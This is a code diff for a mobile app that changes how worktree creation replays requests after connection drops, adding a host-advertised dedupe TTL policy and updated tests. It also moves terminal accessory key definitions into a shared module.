-  idempotentWorktreeCreateSupported: false,
+  worktreeCreateIdempotency: false,
   hostPlatform: null
 }
 
@@ -35,13 +40,28 @@ export async function readNewWorktreeRuntimeCapabilities(
       if (!response.ok) {
         return UNSUPPORTED_CAPABILITIES
       }
-      const result = (response as RpcSuccess).result as { capabilities?: string[] }
+      const result = (response as RpcSuccess).result as {
+        capabilities?: string[]
+        worktreeCreateIdempotency?: unknown
+      }
       const capabilities = result.capabilities ?? []
+      const supportsIdempotency = capabilities.includes(
+        MOBILE_WORKTREE_CREATE_IDEMPOTENCY_CAPABILITY
+      )
+      const advertisedIdempotency = result.worktreeCreateIdempotency
       return {
         tasksSupported: capabilities.includes(MOBILE_TASKS_CAPABILITY),
-        idempotentWorktreeCreateSupported: capabilities.includes(
-          MOBILE_WORKTREE_CREATE_IDEMPOTENCY_CAPABILITY
-        ),
+        worktreeCreateIdempotency: supportsIdempotency
+          ? advertisedIdempotency === undefined
+            ? { dedupeTtlMs: WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS }
+            : advertisedIdempotency !== null &&
+                typeof advertisedIdempotency === 'object' &&
+                !Array.isArray(advertisedIdempotency)
+              ? resolveWorktreeCreateIdempotencySupport(
+                  (advertisedIdempotency as { dedupeTtlMs?: unknown }).dedupeTtlMs
+                )
+              : { dedupeTtlMs: 0 }
+          : false,
         hostPlatform: readMobileRuntimeHostPlatform(result)
       }
     } catch (error) {
@@ -58,7 +78,7 @@ export function useNewWorktreeRuntimeCapabilities(
 ): {
   tasksSupported: boolean
   hostPlatform: NodeJS.Platform | null
-  getWorktreeCreateCutoverSupport: () => Promise<boolean>
+  getWorktreeCreateCutoverSupport: () => Promise<WorktreeCreateIdempotencySupport | false>
 } {
   const [tasksSupported, setTasksSupported] = useState(false)
   const [hostPlatform, setHostPlatform] = useState<NodeJS.Platform | null>(null)
@@ -97,7 +117,7 @@ export function useNewWorktreeRuntimeCapabilities(
   }, [client, enabled, getCapabilities, setTasksSupported])
 
   const getWorktreeCreateCutoverSupport = useCallback(
-    () => getCapabilities().then((capabilities) => capabilities.idempotentWorktreeCreateSupported),
+    () => getCapabilities().then((capabilities) => capabilities.worktreeCreateIdempotency),
     [getCapabilities]
   )
   return { tasksSupported, hostPlatform, getWorktreeCreateCutoverSupport }
diff --git a/mobile/src/tasks/worktree-create-idempotency-policy.ts b/mobile/src/tasks/worktree-create-idempotency-policy.ts
new file mode 100644
index 00000000000..797b62305e0
--- /dev/null
+++ b/mobile/src/tasks/worktree-create-idempotency-policy.ts
@@ -0,0 +1,40 @@
+// Why: old idempotent hosts omit policy, so preserve today's effective replay window.
+export const WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS = 60_000
+
+// Why: a client must not trust a host advertisement beyond its tested ceiling.
+export const WORKTREE_CREATE_DEDUPE_TTL_CLIENT_CEILING_MS = 60_000
+
+// Why: the replay still has to reach the host before its dedupe record expires.
+const WORKTREE_CREATE_REPLAY_FLIGHT_MARGIN_MS = 10_000
+
+export type WorktreeCreateIdempotencySupport = {
+  dedupeTtlMs: number
+}
+
+export type WorktreeCreateIdempotencyProbe =
+  | WorktreeCreateIdempotencySupport
+  | false
+  | Promise<WorktreeCreateIdempotencySupport | false>
+
+export function resolveWorktreeCreateIdempotencySupport(
+  advertisedDedupeTtlMs: unknown
+): WorktreeCreateIdempotencySupport {
+  if (advertisedDedupeTtlMs === undefined) {
+    return { dedupeTtlMs: 0 }
+  }
+  if (
+    typeof advertisedDedupeTtlMs !== 'number' ||
+    !Number.isSafeInteger(advertisedDedupeTtlMs) ||
+    advertisedDedupeTtlMs < 0
+  ) {
+    // Truthy support preserves immediate cutover retries while disabling ambiguous replay.
+    return { dedupeTtlMs: 0 }
+  }
+  return {
+    dedupeTtlMs: Math.min(advertisedDedupeTtlMs, WORKTREE_CREATE_DEDUPE_TTL_CLIENT_CEILING_MS)
+  }
+}
+
+export function getWorktreeCreateReplayWindowMs(support: WorktreeCreateIdempotencySupport): number {
+  return Math.max(0, support.dedupeTtlMs - WORKTREE_CREATE_REPLAY_FLIGHT_MARGIN_MS)
+}
diff --git a/mobile/src/tasks/worktree-create-retry.test.ts b/mobile/src/tasks/worktree-create-retry.test.ts
index 52d6d7b9782..b4463207ebe 100644
--- a/mobile/src/tasks/worktree-create-retry.test.ts
+++ b/mobile/src/tasks/worktree-create-retry.test.ts
@@ -3,16 +3,24 @@ import type { RpcClient } from '../transport/rpc-client'
 import { markRpcDeliveryUnknown } from '../transport/rpc-delivery-ambiguity'
 import { LogicalClientCutoverError } from '../transport/stable-logical-rpc-client'
 import type { ConnectionState } from '../transport/types'
-import { WORKTREE_CREATE_DEDUPE_TTL_MS } from '../../../src/shared/new-workspace/worktree-create-retry-policy'
+import {
+  getWorktreeCreateReplayWindowMs,
+  WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS,
+  type WorktreeCreateIdempotencySupport
+} from './worktree-create-idempotency-policy'
 import {
   createWorktreeWithNameRetry,
-  WORKTREE_CREATE_AMBIGUOUS_RECONNECT_WAIT_MS,
-  WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS
+  WORKTREE_CREATE_AMBIGUOUS_RECONNECT_WAIT_MS
 } from './worktree-create-retry'
 import { WORKTREE_CREATE_TIMEOUT_MS } from './workspace-create-timeout'
 
 type Attempt = { method: string; params: Record<string, unknown> }
 
+const IDEMPOTENT_CREATE_SUPPORT = {
+  dedupeTtlMs: WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS
+}
+const LEGACY_HOST_REPLAY_WINDOW_MS = getWorktreeCreateReplayWindowMs(IDEMPOTENT_CREATE_SUPPORT)
+
 // Drives the transport state a replay has to wait on. Production couples the two:
 // a socket close rejects the pending frame AND drops the client off 'connected'.
 function connectionController(): {
@@ -106,21 +114,21 @@ describe('createWorktreeWithNameRetry', () => {
   it('waits for capability detection before sending a create', async () => {
     const attempts: Attempt[] = []
     const client = scriptedClient([{ id: 'wt-ready' }], attempts)
-    let resolveSupport!: (supported: boolean) => void
-    const support = new Promise<boolean>((resolve) => {
+    let resolveSupport!: (supported: WorktreeCreateIdempotencySupport) => void
+    const support = new Promise<WorktreeCreateIdempotencySupport>((resolve) => {
       resolveSupport = resolve
     })
     const pending = createWorktreeWithNameRetry({
       client,
       baseName: 'puffin',
       buildParams: (name) => ({ repo: 'id:r', name }),
-      supportsIdempotentCutoverRetry: support,
+      worktreeCreateIdempotency: support,
       mintMutationId: () => 'key-ready'
     })
 
     await Promise.resolve()
     expect(attempts).toHaveLength(0)
-    resolveSupport(true)
+    resolveSupport(IDEMPOTENT_CREATE_SUPPORT)
 
     await expect(pending).resolves.toEqual({ worktreeId: 'wt-ready', name: 'puffin' })
     expect(attempts).toHaveLength(1)
@@ -134,7 +142,7 @@ describe('createWorktreeWithNameRetry', () => {
       client,
       baseName: 'otter',
       buildParams: (name) => ({ repo: 'id:r', name }),
-      supportsIdempotentCutoverRetry: true,
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
       mintMutationId: () => 'key-1'
     })
     expect(result).toEqual({ worktreeId: 'wt-1', name: 'otter' })
@@ -152,7 +160,7 @@ describe('createWorktreeWithNameRetry', () => {
       client,
       baseName: 'seal',
       buildParams: (name) => ({ repo: 'id:r', name }),
-      supportsIdempotentCutoverRetry: true,
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
       mintMutationId: () => 'key-mig'
     })
     expect(result).toEqual({ worktreeId: 'wt-2', name: 'seal' })
@@ -172,7 +180,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'crab',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-x'
       })
     ).rejects.toBeInstanceOf(LogicalClientCutoverError)
@@ -190,7 +198,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'eel',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-t'
       })
     ).rejects.toThrow('Request timed out')
@@ -208,7 +216,7 @@ describe('createWorktreeWithNameRetry', () => {
       client,
       baseName: 'topic',
       buildParams: (name) => ({ repo: 'id:r', name }),
-      supportsIdempotentCutoverRetry: true,
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
       mintMutationId: () => `key-${(n += 1)}`
     })
     expect(result).toEqual({ worktreeId: 'wt-3', name: 'topic-2' })
@@ -231,7 +239,7 @@ describe('createWorktreeWithNameRetry', () => {
       baseName: 'nautilus-2',
       nameWasGenerated: true,
       buildParams: (name) => ({ repo: 'id:r', name, nameWasGenerated: true }),
-      supportsIdempotentCutoverRetry: false
+      worktreeCreateIdempotency: false
     })
 
     expect(result).toEqual({ worktreeId: 'wt-generated', name: 'nautilus-3' })
@@ -246,7 +254,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'ray',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: false,
+        worktreeCreateIdempotency: false,
         mintMutationId: () => 'must-not-be-used'
       })
     ).rejects.toBeInstanceOf(LogicalClientCutoverError)
@@ -273,7 +281,7 @@ describe('createWorktreeWithNameRetry', () => {
       client,
       baseName: 'urchin',
       buildParams: (name) => ({ repo: 'id:r', name }),
-      supportsIdempotentCutoverRetry: true,
+      worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
       mintMutationId: () => 'key-drop'
     })
 
@@ -301,7 +309,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'limpet',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: false,
+        worktreeCreateIdempotency: false,
         mintMutationId: () => 'must-not-be-used'
       })
     ).rejects.toThrow('Connection interrupted')
@@ -309,6 +317,32 @@ describe('createWorktreeWithNameRetry', () => {
     expect(attempts[0]!.params.clientMutationId).toBeUndefined()
   })
 
+  it('disables ambiguous replay for a malformed advertisement', async () => {
+    const attempts: Attempt[] = []
+    const connection = connectionController()
+    const client = scriptedClient(
+      [
+        {
+          throws: markRpcDeliveryUnknown(new Error('Connection interrupted')),
+          dropsConnection: true
+        }
+      ],
+      attempts,
+      connection
+    )
+    await expect(
+      createWorktreeWithNameRetry({
+        client,
+        baseName: 'limpet',
+        buildParams: (name) => ({ repo: 'id:r', name }),
+        worktreeCreateIdempotency: { dedupeTtlMs: 0 },
+        mintMutationId: () => 'key-malformed'
+      })
+    ).rejects.toThrow('Connection interrupted')
+    expect(attempts).toHaveLength(1)
+    expect(attempts[0]!.params.clientMutationId).toBe('key-malformed')
+  })
+
   it('gives up after the delivery-ambiguity replay budget, still inside the dedupe TTL', async () => {
     vi.useFakeTimers()
     try {
@@ -331,21 +365,21 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'barnacle',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-budget'
       }).catch((error: unknown) => {
         settledAt = Date.now()
         throw error
       })
       const settled = expect(pending).rejects.toThrow('Connection interrupted')
-      await vi.advanceTimersByTimeAsync(WORKTREE_CREATE_DEDUPE_TTL_MS)
+      await vi.advanceTimersByTimeAsync(WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS)
       await settled
       // Initial attempt + 2 replays.
       expect(attempts).toHaveLength(3)
       // The budget is a count, but what keeps a replay reconciling instead of building
       // a second worktree is wall clock: every attempt has to land while the host still
       // holds the record, with the watchdog's detection latency already deducted.
-      expect(settledAt - startedAt).toBeLessThanOrEqual(WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS)
+      expect(settledAt - startedAt).toBeLessThanOrEqual(LEGACY_HOST_REPLAY_WINDOW_MS)
     } finally {
       vi.useRealTimers()
     }
@@ -373,7 +407,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'anemone',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-stuck'
       })
       const settled = expect(pending).rejects.toThrow('Connection interrupted')
@@ -388,6 +422,41 @@ describe('createWorktreeWithNameRetry', () => {
     // so vitest's default 5s real-time budget is reachable on a loaded runner.
   }, 30_000)
 
+  it('stops replaying when the host-advertised dedupe record has expired', async () => {
+    vi.useFakeTimers()
+    try {
+      const attempts: Attempt[] = []
+      const connection = connectionController()
+      const client = scriptedClient(
+        [
+          {
+            throws: markRpcDeliveryUnknown(new Error('Connection interrupted')),
+            dropsConnection: true,
+            takesMs: 12_000,
+            reconnectsAfterMs: 1_000
+          },
+          { id: 'wt-duplicate' }
+        ],
+        attempts,
+        connection
+      )
+
+      const pending = createWorktreeWithNameRetry({
+        client,
+        baseName: 'mussel',
+        buildParams: (name) => ({ repo: 'id:r', name }),
+        worktreeCreateIdempotency: { dedupeTtlMs: 20_000 },
+        mintMutationId: () => 'key-short-ttl'
+      })
+      const settled = expect(pending).rejects.toThrow('Connection interrupted')
+      await vi.advanceTimersByTimeAsync(30_000)
+      await settled
+      expect(attempts).toHaveLength(1)
+    } finally {
+      vi.useRealTimers()
+    }
+  })
+
   it('does not replay an ambiguity that surfaced while the transport stayed connected', async () => {
     vi.useFakeTimers()
     try {
@@ -415,7 +484,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'cuttlefish',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-expired'
       })
       const settled = expect(pending).rejects.toThrow('Request timed out')
@@ -464,19 +533,19 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'nautilus',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-clamped'
       }).catch((error: unknown) => {
         settledAt = Date.now()
         throw error
       })
       const settled = expect(pending).rejects.toThrow('Connection interrupted')
-      await vi.advanceTimersByTimeAsync(WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS)
+      await vi.advanceTimersByTimeAsync(LEGACY_HOST_REPLAY_WINDOW_MS)
       await settled
       expect(attempts).toHaveLength(2)
       // The window is anchored at the FIRST ambiguity, so the second wait gets only the
       // remainder — it must not restart a full wait and carry the replay past the record.
-      expect(settledAt - startedAt).toBe(WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS)
+      expect(settledAt - startedAt).toBe(LEGACY_HOST_REPLAY_WINDOW_MS)
     } finally {
       vi.useRealTimers()
     }
@@ -509,7 +578,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'limpet',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-stale'
       })
       const settled = expect(pending).rejects.toThrow('Connection interrupted')
@@ -551,7 +620,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'kelp',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-long'
       })
       await vi.advanceTimersByTimeAsync(250_000)
@@ -606,7 +675,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'urchin',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-anchored'
       })
       const settled = expect(pending).rejects.toThrow('Connection lost')
@@ -638,7 +707,7 @@ describe('createWorktreeWithNameRetry', () => {
         client,
         baseName: 'urchin',
         buildParams: (name) => ({ repo: 'id:r', name }),
-        supportsIdempotentCutoverRetry: true,
+        worktreeCreateIdempotency: IDEMPOTENT_CREATE_SUPPORT,
         mintMutationId: () => 'key-unmarked'
       })
     ).rejects.toThrow('Socket closed before send')
@@ -649,11 +718,10 @@ describe('createWorktreeWithNameRetry', () => {
     // The window is measured from a lower bound on when the host could have resolved, so
     // it has to leave the record room for the replay to still be in flight. Widening it
     // to the whole TTL would let the last replay land on a record that just expired.
-    expect(WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS).toBeGreaterThan(0)
-    expect(WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS).toBeLessThan(WORKTREE_CREATE_DEDUPE_TTL_MS)
-    // A single wait must not be able to consume the window on its own.
-    expect(WORKTREE_CREATE_AMBIGUOUS_RECONNECT_WAIT_MS).toBeLessThan(
-      WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS
-    )
+    expect(LEGACY_HOST_REPLAY_WINDOW_MS).toBeGreaterThan(0)
+    expect(LEGACY_HOST_REPLAY_WINDOW_MS).toBeLessThan(WORKTREE_CREATE_DEDUPE_TTL_LEGACY_HOST_MS)
+    // A reconnect wait is clamped when a short advertisement leaves less time.
+    const shortReplayWindowMs = getWorktreeCreateReplayWindowMs({ dedupeTtlMs: 20_000 })
+    expect(Math.min(WORKTREE_CREATE_AMBIGUOUS_RECONNECT_WAIT_MS, shortReplayWindowMs)).toBe(10_000)
   })
 })
diff --git a/mobile/src/tasks/worktree-create-retry.ts b/mobile/src/tasks/worktree-create-retry.ts
index 7bacc95aa72..971dfa759cf 100644
--- a/mobile/src/tasks/worktree-create-retry.ts
+++ b/mobile/src/tasks/worktree-create-retry.ts
@@ -7,10 +7,14 @@ import {
   CLIENT_WORKTREE_CREATE_MAX_ATTEMPTS,
   getClientWorktreeCreateCandidate,
   getGeneratedWorktreeCreateRetryCandidate,
-  isRetryableWorktreeCreateConflict,
-  WORKTREE_CREATE_DEDUPE_TTL_MS
+  isRetryableWorktreeCreateConflict
 } from '../../../src/shared/new-workspace/worktree-create-retry-policy'
 import { WORKTREE_CREATE_TIMEOUT_MS } from './workspace-create-timeout'
+import {
+  getWorktreeCreateReplayWindowMs,
+  type WorktreeCreateIdempotencyProbe,
+  type WorktreeCreateIdempotencySupport
+} from './worktree-create-idempotency-policy'
 
 // Why: server-side collision checks (branch already exists locally / on a remote
 // / already has PR #N) can fire even after a pre-flight basename dedupe —
@@ -36,17 +40,6 @@ const WORKTREE_CREATE_CUTOVER_MAX_RETRIES = 5
 // finished the worktree. Replay on the same clientMutationId instead.
 const WORKTREE_CREATE_AMBIGUOUS_MAX_RETRIES = 2
 
-// Why: the host keeps a settled create's dedupe record for WORKTREE_CREATE_DEDUPE_TTL_MS
-// after it resolves; a replay that lands later misses it and the host's suffix loop
-// builds a SECOND worktree — and for folder workspaces a second one with the SAME name
-// and no collision check at all. So a replay is bounded by how stale our knowledge of the
-// host is, and that has to be measured in WALL CLOCK: iOS/Android suspend JS timers while
-// the app is backgrounded, so any ceiling derived from timer intervals — a watchdog probe
-// budget, a request timeout — can be arbitrarily wrong across a background cycle, which is
-// exactly when a create sits ambiguous for minutes.
-const WORKTREE_CREATE_REPLAY_FLIGHT_MARGIN_MS = 10_000
-export const WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS =
-  WORKTREE_CREATE_DEDUPE_TTL_MS - WORKTREE_CREATE_REPLAY_FLIGHT_MARGIN_MS
 // Bounded so the Create spinner doesn't sit for the whole window; the deadline still caps it.
 export const WORKTREE_CREATE_AMBIGUOUS_RECONNECT_WAIT_MS = 20_000
 
@@ -55,7 +48,7 @@ export type CreateWorktreeWithNameRetryArgs = {
   baseName: string
   nameWasGenerated?: boolean
   buildParams: (name: string) => Record<string, unknown>
-  supportsIdempotentCutoverRetry: boolean | Promise<boolean>
+  worktreeCreateIdempotency: WorktreeCreateIdempotencyProbe
   maxAttempts?: number
   // Injected in tests; production mints a fresh idempotency key per candidate.
   mintMutationId?: () => string
@@ -72,7 +65,7 @@ export async function createWorktreeWithNameRetry(
   const { client, baseName, buildParams } = args
   // Why: creating before status.get settles would silently disable safe replay
   // during the exact slow-network window this path is meant to recover from.
-  const supportsIdempotentCutoverRetry = await args.supportsIdempotentCutoverRetry
+  const worktreeCreateIdempotency = await args.worktreeCreateIdempotency
   const maxAttempts = args.maxAttempts ?? CLIENT_WORKTREE_CREATE_MAX_ATTEMPTS
   const mintMutationId = args.mintMutationId ?? defaultWorktreeCreateMutationId
   let lastError: string | null = null
@@ -84,14 +77,10 @@ export async function createWorktreeWithNameRetry(
     // Why: older hosts strip unknown fields, so only stamp and replay when the
     // host advertises idempotency. One key per candidate makes cutover retries
     // safe while a name-collision bump remains a genuinely new create.
-    const params = supportsIdempotentCutoverRetry
+    const params = worktreeCreateIdempotency
       ? { ...candidateParams, clientMutationId: mintMutationId() }
       : candidateParams
-    const response = await sendWorktreeCreateResilient(
-      client,
-      params,
-      supportsIdempotentCutoverRetry
-    )
+    const response = await sendWorktreeCreateResilient(client, params, worktreeCreateIdempotency)
     if (response.ok) {
       const result = (response as RpcSuccess).result as { worktree: { id: string } }
       return { worktreeId: result.worktree.id, name: candidateName }
@@ -112,7 +101,7 @@ export async function createWorktreeWithNameRetry(
 async function sendWorktreeCreateResilient(
   client: RpcClient,
   params: Record<string, unknown>,
-  supportsIdempotentCutoverRetry: boolean
+  worktreeCreateIdempotency: WorktreeCreateIdempotencySupport | false
 ): Promise<RpcResponse> {
   let migrationRetry = 0
   let ambiguousRetry = 0
@@ -124,7 +113,7 @@ async function sendWorktreeCreateResilient(
         timeoutMs: WORKTREE_CREATE_TIMEOUT_MS
       })
     } catch (error) {
-      if (!supportsIdempotentCutoverRetry) {
+      if (!worktreeCreateIdempotency) {
         throw error
       }
       if (isLogicalClientCutoverError(error)) {
@@ -152,7 +141,7 @@ async function sendWorktreeCreateResilient(
       }
       // Computed once: a later ambiguity reads a fresher lastInboundAt from the
       // replacement session, which would push the deadline past the record it respects.
-      replayDeadlineAt ??= resolveReplayDeadline(client, firstSentAt)
+      replayDeadlineAt ??= resolveReplayDeadline(client, firstSentAt, worktreeCreateIdempotency)
       const remainingWindowMs = replayDeadlineAt - Date.now()
       if (remainingWindowMs <= 0) {
         throw error
@@ -179,10 +168,14 @@ async function sendWorktreeCreateResilient(
 // so it stays honest across a suspension in a way a timer budget cannot; the send is the
 // fallback, and a sound floor either way, because the host cannot resolve a create it has
 // not yet received.
-function resolveReplayDeadline(client: RpcClient, firstSentAt: number): number {
+function resolveReplayDeadline(
+  client: RpcClient,
+  firstSentAt: number,
+  support: WorktreeCreateIdempotencySupport
+): number {
   const lastInboundAt = client.getLastInboundAt?.() ?? null
   const anchor = lastInboundAt !== null && lastInboundAt > firstSentAt ? lastInboundAt : firstSentAt
-  return anchor + WORKTREE_CREATE_AMBIGUOUS_REPLAY_WINDOW_MS
+  return anchor + getWorktreeCreateReplayWindowMs(support)
 }
 
 function defaultWorktreeCreateMutationId(): string {
diff --git a/mobile/src/terminal/terminal-accessory-keys.ts b/mobile/src/terminal/terminal-accessory-keys.ts
index 49aaba134d5..c02f265fba4 100644
--- a/mobile/src/terminal/terminal-accessory-keys.ts
+++ b/mobile/src/terminal/terminal-accessory-keys.ts
@@ -1,3 +1,9 @@
+import {
+  SPECIAL_KEY_LABELS,
+  TERMINAL_ACCESSORY_KEY_DEFINITIONS,
+  TERMINAL_SHORTCUT_SPECIAL_KEY_DEFINITIONS
+} from './terminal-key-definitions'
+
 export type TerminalAccessoryKey = {
   id: string
   label: string
@@ -75,66 +81,6 @@ const CTRL_PRINTABLE_BYTES: Record<string, string> = {
   '?': '\x7f'
 }
 
-const SPECIAL_KEY_LABELS: Record<string, string> = {
-  escape: 'Esc',
-  tab: 'Tab',
-  enter: 'Enter',
-  backspace: '⌫',
-  delete: 'Del',
-  insert: 'Ins',
-  arrowUp: '↑',
-  arrowDown: '↓',
-  arrowLeft: '←',
-  arrowRight: '→',
-  home: 'Home',
-  end: 'End',
-  pageUp: 'PgUp',
-  pageDown: 'PgDn',
-  space: 'Space',
-  f1: 'F1',
-  f2: 'F2',
-  f3: 'F3',
-  f4: 'F4',
-  f5: 'F5',
-  f6: 'F6',
-  f7: 'F7',
-  f8: 'F8',
-  f9: 'F9',
-  f10: 'F10',
-  f11: 'F11',
-  f12: 'F12'
-}
-
-const SPECIAL_KEY_ACCESSIBILITY_LABELS: Record<string, string> = {
-  escape: 'Escape',
-  tab: 'Tab',
-  enter: 'Enter',
-  backspace: 'Backspace',
-  delete: 'Forward delete',
-  insert: 'Insert',
-  arrowUp: 'Arrow up',
-  arrowDown: 'Arrow down',
-  arrowLeft: 'Arrow left',
-  arrowRight: 'Arrow right',
-  home: 'Home',
-  end: 'End',
-  pageUp: 'Page up',
-  pageDown: 'Page down',
-  space: 'Space',
-  f1: 'F1',
-  f2: 'F2',
-  f3: 'F3',
-  f4: 'F4',
-  f5: 'F5',
-  f6: 'F6',
-  f7: 'F7',
-  f8: 'F8',
-  f9: 'F9',
-  f10: 'F10',
-  f11: 'F11',
-  f12: 'F12'
-}
-
 const CSI_FINAL_SPECIAL_KEYS: Record<string, string> = {
   arrowUp: 'A',
   arrowDown: 'B',
@@ -165,87 +111,9 @@ const CSI_TILDE_SPECIAL_KEYS: Record<string, number> = {
   f12: 24
 }
 
-export const TERMINAL_SHORTCUT_SPECIAL_KEYS: TerminalShortcutSpecialKey[] = [
-  'escape',
-  'tab',
-  'enter',
-  'backspace',
-  'delete',
-  'insert',
-  'arrowUp',
-  'arrowDown',
-  'arrowLeft',
-  'arrowRight',
-  'home',
-  'end',
-  'pageUp',
-  'pageDown',
-  'space',
-  'f1',
-  'f2',
-  'f3',
-  'f4',
-  'f5',
-  'f6',
-  'f7',
-  'f8',
-  'f9',
-  'f10',
-  'f11',
-  'f12'
-].map((id) => ({
-  id,
-  label: SPECIAL_KEY_LABELS[id]!,
-  accessibilityLabel: SPECIAL_KEY_ACCESSIBILITY_LABELS[id]!
-}))
+export const TERMINAL_SHORTCUT_SPECIAL_KEYS = TERMINAL_SHORTCUT_SPECIAL_KEY_DEFINITIONS
 
-export const TERMINAL_ACCESSORY_KEYS: TerminalAccessoryKey[] = [
-  { id: 'escape', label: 'Esc', bytes: '\x1b', accessibilityLabel: 'Escape' },
-  { id: 'tab', label: 'Tab', bytes: '\t', accessibilityLabel: 'Tab' },
-  { id: 'enter', label: 'Enter', bytes: '\r', accessibilityLabel: 'Enter' },
-  // Why: terminal apps recognize ESC [ Z as the reverse-tab sequence.
-  { id: 'shiftTab', label: 'Shift+Tab', bytes: '\x1b[Z', accessibilityLabel: 'Shift Tab' },
-  { id: 'space', label: 'Space', bytes: ' ', accessibilityLabel: 'Space' },
-  { id: 'backspace', label: '⌫', bytes: '\x7f', accessibilityLabel: 'Backspace', repeatable: true },
-  {
-    id: 'delete',
-    label: 'Del',
-    bytes: '\x1b[3~',
-    accessibilityLabel: 'Forward delete',
-    repeatable: true
-  },
-  { id: 'arrowUp', label: '↑', bytes: '\x1b[A', accessibilityLabel: 'Arrow Up', repeatable: true },
-  {
-    id: 'arrowDown',
-    label: '↓',
-    bytes: '\x1b[B',
-    accessibilityLabel: 'Arrow Down',
-    repeatable: true
-  },
-  {
-    id: 'arrowLeft',
-    label: '←',
-    bytes: '\x1b[D',
-    accessibilityLabel: 'Arrow Left',
-    repeatable: true
-  },
-  {
-    id: 'arrowRight',
-    label: '→',
-    bytes: '\x1b[C',
-    accessibilityLabel: 'Arrow Right',
-    repeatable: true
-  },
-  { id: 'ctrlC', label: 'Ctrl+C', bytes: '\x03', accessibilityLabel: 'Interrupt terminal' },
-  { id: 'ctrlD', label: 'Ctrl+D', bytes: '\x04', accessibilityLabel: 'Send EOF' },
-  { id: 'ctrlL', label: 'Ctrl+L', bytes: '\x0c', accessibilityLabel: 'Clear screen' },
-  { id: 'ctrlZ', label: 'Ctrl+Z', bytes: '\x1a', accessibilityLabel: 'Suspend process' },
-  { id: 'ctrlR', label: 'Ctrl+R', bytes: '\x12', accessibilityLabel: 'Reverse search' },
-  { id: 'ctrlA', label: 'Ctrl+A', bytes: '\x01', accessibilityLabel: 'Start of line' },
-  { id: 'ctrlE', label: 'Ctrl+E', bytes: '\x05', accessibilityLabel: 'End of line' },
-  { id: 'ctrlW', label: 'Ctrl+W', bytes: '\x17', accessibilityLabel: 'Delete word backward' },
-  { id: 'ctrlU', label: 'Ctrl+U', bytes: '\x15', accessibilityLabel: 'Clear line before cursor' }
-]
+export const TERMINAL_ACCESSORY_KEYS = TERMINAL_ACCESSORY_KEY_DEFINITIONS
 
 export function buildTerminalShortcutKey(
   binding: TerminalShortcutBinding
diff --git a/mobile/src/terminal/terminal-accessory-repeat.test.ts b/mobile/src/terminal/terminal-accessory-repeat.test.ts
new file mode 100644
index 00000000000..eab103eac15
--- /dev/null
+++ b/mobile/src/terminal/terminal-accessory-repeat.test.ts
@@ -0,0 +1,192 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import {
+  createTerminalAccessoryRepeatController,
+  createTerminalAccessoryRepeatSender,
+  TERMINAL_ACCESSORY_REPEAT_DELAY_MS,
+  TERMINAL_ACCESSORY_REPEAT_INTERVAL_MS
+} from './terminal-accessory-repeat'
+
+function deferred() {
+  let resolve: () => void = () => {}
+  const promise = new Promise<void>((done) => {
+    resolve = done
+  })
